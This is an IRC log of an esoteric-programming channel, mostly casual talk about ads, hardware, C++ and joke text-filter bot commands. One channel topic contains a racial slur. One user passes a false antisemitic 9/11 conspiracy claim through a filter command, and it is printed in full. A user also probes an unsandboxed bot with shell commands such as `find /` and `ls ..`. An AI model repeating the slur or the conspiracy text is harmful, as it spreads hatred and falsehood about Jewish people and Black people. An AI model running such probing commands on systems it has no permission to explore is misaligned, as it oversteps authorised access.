04:45:27 * myndzi strangles Sgeo. However, strangling myndzi fails.
04:46:04 <GregorR> Should I eat my remaining Chinese food as a midnight snack, or for lunch tomorrow ...
04:53:03 -!- nooga has joined.
04:53:32 <GregorR> Noooooooooooooooooooooooooooooooooga
04:53:41 <GregorR> Nooooooooooooooooooooooooooooooooooooooooooooooooooooga
04:53:54 <GregorR> (Pronounce like "awoooooooooooooooga")
05:06:11 -!- calamari has joined.
05:06:59 -!- nooga has quit (Remote closed the connection).
05:16:43 <Sgeo> WHAT THE HELL ARE YOU DOING YOU MOTHERFUKERS!
05:16:54 <Sgeo> It was.... DUmbledore!
05:17:23 <GregorR> psygnisfive: What the do are you kids fucking?
05:17:41 <GregorR> http://www.youtube.com/watch?v=3KANI2dpXLw // lawl!
05:20:50 <Sgeo> There's a paintball arena in M*U*S*H
05:24:58 <GregorR> "Seasonal allergies can happen anywhere, any time."
05:32:32 * Sgeo grumbles at not being able to set his @sex to Yes please
05:32:41 <Sgeo> No Thank You is an option, but not Yes Please
05:33:03 <GregorR> How 'bout "ANYWHERE, ANY TIME"
06:08:13 <GregorR> BAH. For some reason I can connect to Hulu's data servers just fine, but not to Hulu's ad servers, so it takes for freaking EVER for every ad to load, but the video streams fine. Unfortunately, it takes double as long because I can go have a meal while the ad is loading.
06:08:55 <GregorR> This is true even of the /audio/ ads.
06:09:48 <bsmntbombdood_> i kinda like how the ads are 15 seconds long, unless you have adblock turned on, in which case you have to wait 30 seconds in silence
06:11:40 <GregorR> They should make it 60 seconds to reaaaaaaaally stick it to you :P
06:13:12 <GregorR> It's loading the data at 100KB/s, and the ads at 300B/s (<-- not a typo)
06:13:39 <GregorR> Oooh, it just spiked at 1.1KB/s
06:14:37 <bsmntbombdood_> surely someone has reverse engineered their protocol so you can just download the stupid things
06:15:13 <GregorR> Or at least, not that I've seen.
06:15:48 * kerlo_ expects a reciprocal action from myndzi.
06:15:49 * myndzi expects a reciprocal action from kerlo_.
06:15:54 -!- kerlo_ has changed nick to kerlo.
06:18:03 -!- nooga has joined.
06:31:17 -!- nooga has quit (Remote closed the connection).
07:07:16 -!- kar8nga has joined.
07:12:13 -!- KingOfKarlsruhe has joined.
07:12:25 -!- immibis has joined.
07:29:40 -!- kar8nga has quit (Remote closed the connection).
07:46:27 -!- calamari has quit ("Leaving").
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:10:56 -!- coppro has quit (Read error: 60 (Operation timed out)).
08:41:45 -!- amca has joined.
08:51:15 -!- lereah_ has joined.
09:35:19 -!- tombom has joined.
09:43:34 -!- puzzlet has quit (Read error: 60 (Operation timed out)).
09:43:43 -!- puzzlet has joined.
09:57:28 -!- immibis has quit ("http://www.mibbit.com ajax IRC Client").
09:57:42 -!- nooga has joined.
10:08:48 -!- nooga has quit (Remote closed the connection).
10:37:20 <AnMaster> bsmntbombdood_, um? How would adblock make it slower?
10:45:46 -!- Sgeo has quit (Read error: 110 (Connection timed out)).
10:47:32 <tetha> AnMaster: given a bit of trickery, you can detect if an ad is loaded or not and simply delay things
10:47:38 <tetha> AnMaster: I think newgrounds.com does such trickery
10:49:26 <AnMaster> tetha, how would that trickery work...
10:49:42 <AnMaster> tetha, lets assume javascript is disabled :)
11:03:42 -!- Corun has joined.
11:05:50 -!- Corun has quit (Client Quit).
11:25:57 -!- nooga has joined.
11:36:19 -!- jix has joined.
11:40:28 <tetha> AnMaster: 2 servers communicating
11:40:45 <tetha> AnMaster: server 1 -> server 2 "Hey, Im serving a page with ads now, someone should load stuff from you anytime soon"
11:41:03 <tetha> AnMaster: server2 -> server1 (after 10 seconds): "nope, nothing's happening here. block him"
11:41:23 <AnMaster> maybe you could make it fake download but not display
11:42:12 <tetha> you would need to download it, and execute any javascript while blocking any rendering request
11:42:35 <tetha> and I think my laptop just died
11:43:41 <tetha> it shut down without being overheated and went into a selfcheck->reboot-cycle
11:46:22 <tetha> according to serveral pages, that's either a motherboard-failure or a battery-failure
11:46:37 <tetha> and combining that with the fact that this laptop has no battery anymore sind quite some time is not good
11:49:53 -!- AnMaster has quit (Read error: 104 (Connection reset by peer)).
11:50:10 -!- AnMaster has joined.
11:52:09 <tetha> but granted, it held for about 8 years, that pretty good :)
11:53:52 <AnMaster> last line I saw was "<tetha> it shut down without being overheated and went into a selfcheck->reboot-cycle"
11:54:26 <tetha> well, according to several sites regarding maintenance of this brand and type, it is either a mainboard failure or a battery problem
11:54:35 <tetha> however, this guy has no battery anymore since quite some time
11:56:22 <AnMaster> hm.. I think I need to fix CPU cooling somehow. They aren't supposed to reach 60 C when running at non-max speed (1.80 GHz instead of 2 GHz, using dynamic cpu freq)
11:56:45 <AnMaster> runs just fine at the lowest speed, 1 GHz
11:56:47 <AnMaster> and when running at higher, but not loaded
11:57:28 <tetha> most of the boxes I had used an overdimensioned fan
11:57:42 <tetha> in fact, that should be present tense, because this one still does
12:30:13 -!- Hiato has joined.
12:30:40 -!- Hiato has quit ("Leaving.").
12:41:24 -!- FireFly has joined.
12:49:35 -!- Hiato has joined.
12:52:06 -!- amca has quit ("Farewell").
12:57:56 -!- Hiato has quit (Connection reset by peer).
13:01:07 -!- Hiato1 has joined.
13:20:52 -!- rodgort has quit (hubbard.freenode.net irc.freenode.net).
13:21:05 -!- rodgort has joined.
13:28:59 -!- Hiato1 has quit ("Leaving.").
13:33:21 -!- rodgort has quit (hubbard.freenode.net irc.freenode.net).
13:33:54 -!- rodgort has joined.
13:35:44 -!- BeholdMyGlory has joined.
13:38:24 -!- Spike_ has quit ("Saliendo").
13:41:49 -!- KingOfKarlsruhe has quit (Remote closed the connection).
13:42:16 -!- Corun has joined.
13:45:23 -!- MigoMipo has joined.
13:46:52 -!- rodgort has quit (hubbard.freenode.net irc.freenode.net).
13:47:13 -!- rodgort has joined.
13:51:01 -!- psygnisfive has quit (Read error: 110 (Connection timed out)).
14:08:38 -!- rodgort has quit (hubbard.freenode.net irc.freenode.net).
14:08:56 -!- rodgort has joined.
14:10:05 -!- rodgort has quit (hubbard.freenode.net irc.freenode.net).
14:10:32 -!- Gracenotes has quit (Read error: 54 (Connection reset by peer)).
14:10:37 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server").
14:40:01 -!- nooga has quit (Read error: 110 (Connection timed out)).
14:40:01 -!- oerjan has joined.
14:48:05 -!- sebbu has joined.
14:56:00 -!- MigoMipo has joined.
14:59:18 -!- nooga has joined.
15:02:57 -!- sebbu2 has quit (Read error: 110 (Connection timed out)).
15:14:47 -!- AnMaster has quit ("ZNC - http://znc.sourceforge.net").
15:29:36 -!- nooga_ has joined.
15:30:50 -!- psygnisfive has joined.
15:39:30 -!- oerjan has quit ("leaving").
15:41:34 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server").
15:45:44 -!- nooga has quit (Read error: 110 (Connection timed out)).
15:49:18 -!- nooga has joined.
15:52:50 -!- nooga_ has quit (Read error: 110 (Connection timed out)).
15:56:19 -!- lereah_ has quit ("Leaving").
16:02:25 -!- impomatic has joined.
16:05:13 -!- Corun has quit (Read error: 110 (Connection timed out)).
16:09:15 -!- Deewiant has quit (Read error: 60 (Operation timed out)).
16:10:54 -!- Corun has joined.
16:11:48 -!- Deewiant has joined.
16:14:26 -!- nooga has quit ("Leaving...").
16:16:33 -!- impomatic has left (?).
16:20:24 -!- whtspc has joined.
16:26:46 -!- whtspc has quit ("ChatZilla 0.9.84 [Firefox 3.0.10/2009042316]").
16:56:45 -!- coppro has joined.
17:05:19 -!- jix has quit (Remote closed the connection).
17:05:32 -!- jix has joined.
17:10:49 -!- Slereah has set topic: (def you (cons nigger nigger)) | <ehird> i'm grepping myself but slow | IT BUGLES MY MIND | http://tunes.org/~nef/logs/esoteric/?C=N;O=D.
17:11:59 -!- whtspc has joined.
17:12:36 -!- whtspc has quit (Client Quit).
17:35:54 -!- GregorR-L has joined.
17:42:19 -!- jix has quit ("leaving").
17:42:30 -!- jix has joined.
17:43:01 -!- GregorR-L has quit (Remote closed the connection).
17:46:51 -!- coppro has quit ("The only thing I know is that I know nothing").
17:47:23 -!- GregorR has set topic: the international hub for esoteric programming language design and deployment - #esoteric is not associated with the joke language Perl, please visit www.perl.org - logs: http://tunes.org/~nef/logs/esoteric/ or http://meme.b9.com/cdates.html?channel=esoteric.
17:47:26 -!- coppro has joined.
17:47:34 -!- GregorR has set topic: #esoteric, the international hub for esoteric programming language design and deployment - #esoteric is not associated with the joke language Perl, please visit www.perl.org - logs: http://tunes.org/~nef/logs/esoteric/ or http://meme.b9.com/cdates.html?channel=esoteric.
17:51:06 -!- pikhq has set topic: #eſoteric, þe international hub for eſoteric programming language deſign and deployment - #eſoteric is not aſsociated wiþ þe joke language Perl, pleaſe viſit www.perl.org - logs: http://tunes.org/~nef/logs/esoteric/ or http://meme.b9.com/cdates.html?channel=esoteric.
17:51:35 -!- GregorR-L has joined.
17:55:11 <EgoBot> Installed user interpreters: austro b1ff bc bct bfbignum brooklyn chef chiqrsx9p choo cockney dc drawl dubya echo fudd funetak google gregor hello jehtro kraut num ook pansy pirate plot postmodern redneck rot13 sadbf slashes valspeak warez yodawg
17:55:23 <EgoBot> /tmp/input.26271: line 1: jehtro: command not found
17:55:29 <EgoBot> Interpreter jehtro deleted.
18:06:32 -!- GregorR-L has quit (Remote closed the connection).
18:10:40 -!- GregorR-L has joined.
18:15:53 -!- MigoMipo has joined.
18:26:44 -!- GregorR-L has quit (Remote closed the connection).
18:34:10 -!- tombom has quit ("Peace and Protection 4.22.2").
18:34:30 -!- coppro has quit ("The only thing I know is that I know nothing").
18:36:07 -!- KingOfKarlsruhe has joined.
18:38:02 -!- bsmntbombdood_ has quit (Read error: 110 (Connection timed out)).
18:38:55 -!- bsmntbombdood_ has joined.
18:47:57 -!- jix_ has joined.
18:56:41 -!- bsmntbombdood_ has quit (Connection timed out).
19:01:22 -!- jix has quit (Read error: 113 (No route to host)).
19:01:30 -!- Hiato has joined.
19:02:38 -!- kar8nga has joined.
19:07:53 -!- GregorR-L has joined.
19:12:46 -!- Sgeo has joined.
19:27:54 -!- rodgort has joined.
19:29:57 -!- bsmntbombdood has joined.
19:35:54 -!- GregorR-L has quit (Read error: 60 (Operation timed out)).
19:42:18 -!- GregorR-L has joined.
19:46:56 <kerlo> So, now that I'm running Linux, I should fix the sound problem it's having.
19:54:16 <Sgeo> So much for being able to impersonate people in M*U*S*H
19:54:20 <GregorR-L> And fix your problems with being name-inconsistent :P
19:55:35 -!- tetha has quit (Nick collision from services.).
19:55:44 -!- tetha has joined.
19:58:03 -!- bsmntbombdood has quit (Read error: 110 (Connection timed out)).
20:01:47 -!- Hiato has quit ("Leaving.").
20:01:54 -!- olsner has joined.
20:10:14 -!- Corun_ has joined.
20:10:26 <Sgeo> GregorR-L, what?
20:10:52 <GregorR-L> kerlo (current alias) is name-inconsistent.
20:11:21 -!- kerlo has changed nick to warrie.
20:13:46 <Sgeo> Oh, you were talking to kerlo, not me
20:14:25 <warrie> Hmm, irssi is still set to highlight on "kerlo".
20:14:32 <warrie> Clearly, changing nicks is not worth the effort.
20:19:48 <tetha> 98: why should we even bother with nicks? Enumerating all users appears to be enough :)
20:27:21 -!- Corun has quit (Read error: 110 (Connection timed out)).
20:32:05 <GregorR-L> !addinterp graph perl http://208.68.18.97/raw/1452214
20:32:06 <EgoBot> Interpreter graph installed.
20:34:42 -!- Corun has joined.
20:35:29 <tetha> !graph a -> b; c -> d; b -> d;
20:38:09 <FireFly> !graph a -> b; c -> d; d -> a;
20:39:25 <tetha> ohh, its by graphviz
20:39:38 <GregorR-L> Graphviz can only output graphics.
20:39:53 -!- Corun_ has quit (Read error: 60 (Operation timed out)).
20:39:59 <GregorR-L> (Because that's what I'm used to :P )
20:40:16 <tetha> graphviz: most important debug tool whenever there are graph-like datastructures
20:40:31 <tetha> (unless they are large enough to produce 1mb png's
20:40:39 <fizzie> !graph a -> b; c -> d; d -> a;
20:42:54 <fizzie> Graphviz generated me this when I told it to graph the bot: fungot.png PNG 7485x15016
20:43:04 <fizzie> That's a bit uncomfortably large.
20:43:14 <tetha> even though heavily compressed 1 - 2 mb pngs are fun to open... since bubblemon then changes from bright blue to pitch black in like a second
20:48:16 <jix_> !graph a -> b; c -> d; d -> a;
20:48:48 <jix_> nothing happens?
20:49:54 <GregorR-L> Too big to force over #esoteric :P
20:50:08 <jix_> but couldn't it use privmsg?
20:50:22 <jix_> or notice so for the user the answer is displayed in the channel
20:51:14 <fizzie> !graph a -> b; a -> c; a -> d; b -> c; b -> d; c -> d;
20:51:26 <jix_> i have no idea on how to accept ddc chats in irssi
20:52:03 -!- KingOfKarlsruhe has left (?).
20:52:27 <fizzie> Hmm, that K_4 (well, with directional edges but anyway) didn't render especially prettily. And the top block of 'a' is in the wrong place, as if something were stripping leading spaces.
20:52:38 <tetha> jix_: something like /dcc chat worked for me
20:53:17 <GregorR-L> !graph a -> b; a -> c; a -> d; b -> c; b -> d; c -> d;
20:53:20 <jix_> !graph a -> b; b -> c ; c -> a; a -> c;
20:53:37 <GregorR-L> Something may very well be stripping leading spaces :P
20:53:51 <jix_> yeah leading spaces are missing
20:53:59 <tetha> !graph a->b; a->c; a->d; b->c; b->d; c->d;
20:54:24 <fizzie> The line-drawing is the neat, though.
20:54:57 <jix_> !graph a -> b;a -> c;a -> d;b -> a;b -> c;b -> d;c -> a;c -> b;c -> d;d -> a;d -> b;d -> c;
20:56:29 <EgoBot> Interpreter graph deleted.
20:56:32 <GregorR-L> !addinterp graph perl http://pastebin.ca/raw/1452243
20:56:33 <EgoBot> Interpreter graph installed.
20:56:37 <GregorR-L> !graph a -> b; a -> c; a -> d; b -> c; b -> d; c -> d;
20:56:58 <jix_> !perl print "foo"
20:57:14 -!- kar8nga has quit (Remote closed the connection).
20:57:28 <jix_> !perl print `ls`
20:57:35 <jix_> !perl print `ls ..`
20:57:52 <jix_> !perl print `find /`
20:57:53 <EgoBot> /usr/bin/find: `/': Function not implemented
20:59:12 <EgoBot> /home/egobot/egobot.hg/multibot_cmds
20:59:53 <jix_> !perl system("banner test")
21:00:18 <jix_> !perl system("banner test")
21:00:30 <EgoBot> /tmp/input.28503: line 1: banner: command not found
21:00:33 <jix_> !perl system("echo foo")
21:00:53 <jix_> is it somehow sandboxed?
21:00:57 <FireFly> What happens if you add an already existing command?
21:01:10 <GregorR-L> jix_: No, I just have it running as root on codu.
21:01:22 <jix_> GregorR-L: thought so.
21:02:03 <tetha> security by not putting up a challenge and thus being boring
21:02:47 <pikhq> I think I'll call it "security by insecurity".
21:04:20 <fizzie> It's rather funny that gnuplot bothers with xor, though.
21:04:54 <jix_> does it implement propper floating point xor?
21:07:12 <jix_> i love functional programming
21:07:24 <jix_> but i hate the headaches i still get from it as a c++ coder
21:07:58 -!- sebbu2 has joined.
21:08:06 <pikhq> Solution: code in a saner language.
21:08:10 <pikhq> Like Malbolge, or INTERCAL.
21:09:34 -!- sebbu has quit (Read error: 104 (Connection reset by peer)).
21:09:35 -!- sebbu2 has changed nick to sebbu.
21:16:40 -!- GregorR-L_ has joined.
21:21:29 <GregorR-L_> <jix_> but i hate the headaches i still get from it as a c++ coder
21:21:50 <pikhq> You realise that C++10 will have lambdas, right?
21:22:46 <pikhq> When it ceased being likely that it was going to be C++09.
21:23:07 <GregorR-L_> Is this an official name change, or are you just poking fun?
21:23:07 <pikhq> May even be 2011. :/
21:23:07 <jix_> pikhq: that doesn't make it a pure functional language
21:23:29 <GregorR-L_> jix_: Unless you use exclusively Haskell, step off :P
21:23:41 <pikhq> It's currently C++0x.
21:23:52 <GregorR-L_> I thought it had been renamed C++09 in '09?
21:24:01 -!- GregorR-L has quit (Read error: 110 (Connection timed out)).
21:24:11 -!- GregorR-L_ has changed nick to GregorR-L.
21:24:21 <pikhq> No, it will have to be finish being standardised. ;)
21:26:02 -!- bsmntbombdood has joined.
21:30:35 <MigoMipo> The name should obviously be C++0A. C++10 just doesn't match C++0x.
21:31:48 <pikhq> MigoMipo: C++0x0A.
21:32:01 <pikhq> C++0x has closures.
21:35:31 -!- oerjan has joined.
21:36:11 -!- tombom has joined.
21:36:54 <tetha> closures, templates and all that other fun stuff... so a 40 line C++-program is even more capable of just melting minds, without any obfuscation
21:38:54 <EgoBot> Installed user interpreters: austro b1ff bc bct bfbignum brooklyn chef chiqrsx9p choo cockney dc drawl dubya echo fudd funetak google graph gregor hello kraut num ook pansy pirate plot postmodern redneck rot13 sadbf slashes valspeak warez yodawg
21:39:07 <EgoBot> sh echo ''; (echo -ne 'set terminal dumb\nplot '; cat) | gnuplot
21:39:08 <pikhq> function s = [](function x, auto y, function z){return x(y,z(y));}, k = [](auto x, auto y){return x};
21:39:17 <pikhq> function i = [s,k](auto x){return s(k,k,x);};
21:39:40 <tetha> pff, SKI. I just want X
21:41:27 <GregorR-L> pikhq: Or in Russian, "I CAN HASSKI"
21:42:26 <tetha> pikhq: but so inefficient, why at runtime?
21:43:53 -!- bsmntbombdood has quit (Connection timed out).
21:44:31 <GregorR-L> ehird added all the talkfilters as their original name, which is E_BORING.
21:44:38 <EgoBot> Interpreter swedish installed.
21:44:42 <EgoBot> Interpreter aol installed.
21:44:53 <Slereah> !swedish Say something swede
21:44:54 <EgoBot> Sey sumetheeng svede-a
21:45:19 <jix_> !aol huh what does this do
21:45:56 <tetha> !aol HUH WHAT DUZ TH1S DO
21:46:46 <tetha> !aol HUH WHAT DUZ TH15 DO
21:46:58 <jix_> hmm a reversible transform that makes you look like an idiot.....
21:47:23 -!- BeholdMyGlory has quit (Remote closed the connection).
21:47:39 -!- BeholdMyGlory has joined.
21:47:51 <jix_> well that was something i think would be intersting
21:48:43 <oerjan> if it was reversible, it could make an idiot look normal
21:48:47 <GregorR-L> !b1ff Hello gentlemen, I am an AOL user who would like some information on esoteric programming languages, please.
21:48:48 <EgoBot> HELLO GENTLEMEN, I AM AN AOL USER WHO WUD LIK3 SUM 1NFERMASHUN ON E5OTERIK WAREZ!1!!MING LANGUAGES, PLEEZ!!!
21:48:49 <jix_> oerjan: i doubt that
21:49:02 <tetha> so one could reverse aol-mails and read them usually :)
21:49:06 <oerjan> jix_: otherwise it cannot be reversible
21:49:22 <oerjan> i mean, the inverse would make an idiot look normal
21:49:54 <jix_> it would map all normal statements into a subset of all idiot statements
21:49:56 <GregorR-L> rot14 (<-- note, not rot13) makes you look like an idiot, is reversible, and does not make an idiot look normal.
21:50:06 <jix_> and only that subset would map back to normal statements for the inverse
21:51:04 <jix_> if it would map all normal statements to all idiot statements... then the inverse would work for that
21:51:31 <tetha> well, math defines 'reversible' on bijective mappins only, and 'partially reversible' on injective functions
21:52:38 <jix_> well even if the function is bijective from all sentences to all sentences and reversible
21:52:51 <jix_> which was idea in the first place
21:53:12 <jix_> it could map all normal s. to idiot s.
21:53:30 <jix_> and all idiot s. to other idiot s.
21:53:39 -!- fizzie has set topic: #eſoteric, þe international hub for eſoteric warez!1!!mming language deſign and deployment - #eſoteric is not aſsociated wiþ þe joke language Perl, pleaſe viſit www.perl.org - logs: http://tunes.org/~nef/logs/esoteric/ or http://meme.b9.com/cdates.html?channel=esoteric.
21:54:08 * oerjan points out meme has been dead for years
21:54:12 <fizzie> Whoops, there's a spurious m in there.
21:54:31 <fizzie> I just liked the look-even-inside-words transformation.
21:55:14 <oerjan> well, at least one year
21:56:40 <oerjan> also, that if i change the topic myself, those weird s'es will disappear
21:57:35 <GregorR-L> !aol My brother was in a cult, he's being deprogrammed.
21:57:36 <EgoBot> MY BROTHER WA5 IN A CULT, HE"5 BEING DEWAREZ!1!!MED!!
21:58:36 <pikhq> !b!ff I would like ſome information on eſoteric programming languages, please.
21:59:03 <pikhq> !b1ff I would like ſome information on eſoteric programming languages, please.
21:59:03 <EgoBot> 1 WUD L1KE ſOME 1NFORMASHUN ON EſOTERIK WAREZ!1!!M1NG LANGUAGES, PLEEZ!!!
22:01:47 <oerjan> !perl $_ = "Like this"; tr/A-Za-z/O-ZA-No-za-n/; print
22:03:54 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server").
22:05:41 -!- tombom has quit ("Peace and Protection 4.22.2").
22:08:23 <GregorR-L> It's reversible, it's just not its own inverse.
22:09:42 <EgoBot> 'Allo me A septic tank muckers! Oi!
22:10:20 <oerjan> American -> Yank -> Septic tank
22:19:24 <warrie> !brit I am not really British.
22:19:25 <EgoBot> I'm bloody well not right British.
22:19:38 <warrie> !brit Come on, give us some more Cockney rhyming slang.
22:19:39 <EgoBot> Come on, right, give us some more Cockney rhymin' slang.
22:20:06 <warrie> !brit Please treat Agora really well forever.
22:20:07 <EgoBot> Please treat Agora right well forever.
22:22:26 <GregorR-L> þornography: The study of historical letters.
22:23:23 <warrie> But pornology is the study of prostitution, not the writing of prostitution.
22:24:14 <Slereah> !swedish But pornology is the study of prostitution, not the writing of prostitution.
22:24:15 <EgoBot> Boot purnulugy is zee stoody ooff prusteetooshun, nut zee vreeting ooff prusteetooshun.
22:24:42 <Slereah> EgoBot just opened a chat session with me to say "bork bork bork"
22:24:43 <GregorR-L> !swedish is definitely the best filter in talkfilters.
22:24:44 <EgoBot> is deffeenitely zee best feelter in telkffeelters.
22:24:57 <EgoBot> Interpreter swedish deleted.
22:25:00 <GregorR-L> !addinterp swedish sh chef | xargs echo
22:25:01 <EgoBot> Interpreter swedish installed.
22:25:38 -!- GregorR-L has set topic: <Slereah> EgoBot just opened a chat session with me to say "bork bork bork" | logs: http://tunes.org/~nef/logs/esoteric/.
22:26:37 <GregorR-L> !swedish is still definitely the best filter in talkfilters.
22:26:38 <EgoBot> is steell deffeenitely zee best feelter in telkffeelters. Bork Bork Bork!
22:27:25 <Slereah> !swedish Stealth Jewish and Zionist Jew in Bush Administration brought about 9-11 fake terror , murdered thousands of innocent Americans and pinned the guilt on Islamic radicals, expecting the world to accept Bush's military action in Central Asia and Middle East.
22:27:25 <EgoBot> Steelt Jooeesh und Zeeunist Joo in Boosh Edmeenistreshun bruooght ebuoot 9-11 feke-a terrur , moordered thuoosunds ooff innucent Emereecuns und peenned zee gooeelt oon Islemeec redeecels, ixpecteeng zee vurld tu eccept
22:27:42 <Slereah> Acknowledging chat request...
22:27:42 <Slereah> DCC Chat connection established
22:27:42 <Slereah> [23:27:26] <EgoBot> /usr/bin/xargs: unmatched single quote; by default quotes are special to xargs unless you use the -0 option
22:27:56 <Slereah> Also, Boosh Edmeenistreshun
22:29:13 <GregorR-L> Do you just read Racist Conspiracy Theories Magazine?
22:29:33 <Slereah> It is from the website "Stealth Jews"
22:30:29 -!- bsmntbombdood has joined.
22:30:36 <Slereah> Well, some are just plain jews
22:30:52 -!- GregorR-L has quit ("Leaving").
22:30:56 <fungot> Slereah: except for that. does any1 understand what that part mean, who knows.
22:38:14 -!- bsmntbombdood has quit (Read error: 60 (Operation timed out)).
22:50:45 <Sgeo> Not religionwise
22:54:12 -!- nooga has joined.
22:57:58 -!- coppro has joined.
22:58:32 * oerjan : now doing puns that absolutely no non-mathematicians will get
22:59:42 <nooga> proofs are for mathematicians
23:04:36 -!- olsner has quit ("Leaving").
23:05:26 <ehird> 09:49 AnMaster: tetha, lets assume javascript is disabled :)
23:05:31 <ehird> then you can't use hulu
23:05:55 <ehird> 10:56 AnMaster: hm.. I think I need to fix CPU cooling somehow. They aren't supposed to reach 60 C when running at non-max speed (1.80 GHz instead of 2 GHz, using dynamic cpu freq)
23:05:58 <ehird> thermal paste is fucked up
23:06:03 <ehird> take off heatsink, remove thermal paste
23:06:08 <ehird> put a pea-sized dot in the middle of the cpu
23:06:32 <ehird> !userinterp jethro sh jethro
23:06:36 <ehird> !jethro ehird can spell now
23:07:20 <oerjan> ehird: AnMaster is on vacation
23:07:39 <ehird> !graph a -> b; b -> a;
23:07:46 <ehird> use Graph::Easy::Parser::Graphviz;
23:07:47 <ehird> my $parser = Graph::Easy::Parser::Graphviz->new();
23:07:50 <ehird> of course it uses graphviz? :P
23:08:08 <ehird> i don't have dcc. bitch ass.
23:08:59 <ehird> !plot sin(x)*cos(x)
23:09:17 <oerjan> !addinterp jethro sh jethro
23:09:18 <EgoBot> Interpreter jethro installed.
23:09:27 <oerjan> !jethro He still cannot remember commands, though
23:09:28 <EgoBot> He still cannot remembuh commands, though
23:10:21 -!- psygnisf_ has joined.
23:10:50 * ehird growls angrily at the misguiding aol and swedish command names
23:11:34 <pikhq> Now, if C++ could just get curry.
23:14:22 -!- FireFly has quit ("Later").
23:15:14 <ehird> pikhq: Currying's easy.
23:15:29 -!- BeholdMyGlory has quit (Remote closed the connection).
23:15:31 <ehird> (define (curry f) (lambda (x) (lambda args (apply f (cons x args)))))
23:15:32 <pikhq> ehird: Yes, but do it, y'know, naturally.
23:15:35 <ehird> (((curry +) 1) 2 3 4)
23:16:03 <ehird> What C++ really needs is to be Haskell.
23:19:07 <nooga> i should write brainfuck interp for iphone
23:21:13 -!- bsmntbombdood_ has joined.
23:22:18 -!- psygnisfive has quit (Read error: 110 (Connection timed out)).
23:23:06 <ehird> nooga: that's just a [obj]c interp of brainfuck plus an iphone interface, kiddie.
23:23:14 <ehird> (a script kiddie without the scripts)
23:26:31 <pikhq> ehird: Don't even need the iPhone interface if you just jailbreak and install a terminal.
23:26:47 <ehird> pikhq: I did that once, but man...
23:26:53 <pikhq> Which makes this "Cross-compile egobfi".
23:26:53 <ehird> It barely works for email.
23:35:49 <comex> a real iphone interface would be quite interesting
23:35:57 <comex> i.e. actually code in it on iphone
23:36:01 <comex> it might be a little "game"
23:36:17 <pikhq> Not exceptionally interesting, but still a decent Saturday hack.
23:39:21 <Sgeo> <Public> Homicidal Lord Wilco prefers to pay people to do his killing anyway.
23:39:21 <Sgeo> <Public> Homicidal Lord Wilco says, "Less suspicion."
23:39:21 <Sgeo> <Public> Homicidal Lord Wilco says, "Oh jesus, you mean on the MUSH? Er, so did I."
23:41:17 <ehird> pikhq: + 5 month approval process
23:41:30 <ehird> "We have decided to decline your application, as non-Apple runtimes are prohibited on the iPhone."
23:41:38 <ehird> (I'd bet money that you'd be told that.)
23:42:57 -!- bsmntbombdood_ has quit (Read error: 110 (Connection timed out)).
23:45:21 -!- GreaseMonkey has joined.
23:46:34 <pikhq> ehird: That is lame.
23:46:40 <pikhq> Jailbreak that shit.
23:46:47 <ehird> http://daringfireball.net/2009/05/diary_of_an_app_store_reviewer
23:47:13 <pikhq> Dammit Apple, stop pretending that your general-purpose computer is not general-purpose!
23:47:52 <ehird> pikhq: i hate my iphone 'cuz of the keyboard
23:47:59 <ehird> if it had a nice, small physical, shitty, keyboard
23:48:03 <ehird> the worst keyboard ever, but a real one
23:48:04 <pikhq> That too is a bitch..
23:48:23 <nooga> comex: how to autosize subviews in table cell? :D
23:48:43 <pikhq> ehird: Stick a Happy Hacker on that sucker.
23:48:56 <ehird> pikhq: that is soooo portable.
23:49:00 <ehird> and sooo not noisy at night :)
23:49:17 <ehird> pikhq: happy hacking sux anyway
23:49:20 <ehird> only Ctrl and a stupid Fn key
23:49:22 <pikhq> Probably the smallest full keyboard you can get, so... :)
23:49:44 <ehird> http://upload.wikimedia.org/wikipedia/commons/1/18/T-Mobile_G1_launch_event_2.jpg
23:49:58 <pikhq> ... Purchase normally.
23:50:30 <ehird> pikhq: Anyway, how'd I connect it?
23:52:20 -!- GreaseMonkey has quit ("YES -> thor-ainor.it <- THIS IS *DELICIOUS*!").
23:52:38 <ehird> pikhq: Literally. Cable. No USB.
23:53:11 <psygnisf_> guys, did i mention that i have a NeXTstation? what should i do with it? :D
23:53:21 -!- psygnisf_ has changed nick to psygnisfive.
23:53:51 <ehird> psygnisfive: Sell it and buy a NeXTCube.
23:54:34 <pikhq> psygnisfive: Install GNUstep on it.
23:54:42 <ehird> NeXTStep is amazing
23:54:53 <pikhq> ehird: Yes, I know.
23:54:54 <ehird> GNUstep is all Linuxy.
23:55:02 <pikhq> It's just that GNUstep is still maintained.
23:55:08 <ehird> If I wanted Unix + NeXTStep, I'd buy OS X.
23:55:12 <pikhq> I could've sworn it wasn't on Darwin.
23:55:41 <psygnisfive> also, who the fuck are you, SCO? linux is not unix
23:55:57 <ehird> Shut up, kiddo. :P
23:56:14 <pikhq> ehird: ... Unix + NeXTStep?
23:56:16 <psygnisfive> a friend and i are gonna make an OS framework on top of <insert random *nix kernel here>
23:56:25 <pikhq> You *are* aware that NeXTStep was a UNIX, right?
23:56:37 <psygnisfive> actually, pikhq has a point: NeXTstep used the Mach kernel from the beginning
23:56:41 <Sgeo> Well, that's nice and backwards
23:56:45 -!- GreaseMonkey has joined.
23:56:54 <ehird> But OS X mangled it with more of BSD than before.
23:56:57 <Sgeo> home() of an EXIT is not where it's @link'ed to
23:57:04 <ehird> Sure, NeXTStep's kernel was Mach + bits of BSD.
23:57:12 <ehird> But OS X is basically FreeBSD + NeXTStep.
23:57:14 <ehird> Adding more to the mix.
23:57:28 <ehird> psygnisfive: i know what you should do
23:57:33 <ehird> psygnisfive: add the first web browser/editor, WorldWideWeb
23:57:39 <ehird> http://browsers.evolt.org/
23:57:42 <ehird> its available there
23:58:10 <ehird> psygnisfive: that's not the point
23:58:16 <ehird> psygnisfive: this one was written by tim berners-lee
23:58:19 <ehird> the original, very firt
23:58:23 <ehird> before anyone even knew about the web
23:58:23 <ehird> http://browsers.evolt.org/?worldwideweb/
23:58:29 <ehird> psygnisfive: so buy a cube :p
23:58:51 <warrie> So, I've upgraded Linux, and my sound problem is gone.
23:58:57 <ehird> psygnisfive: put a vnc server up so I can dick about nextstep
23:58:57 <warrie> Videos now play at normal speed with no sound at all.
23:59:07 <ehird> warrie: Your linux installation is fucked, we've established.
23:59:12 <ehird> Wipe it and reinstall, and don't fuck it again :P
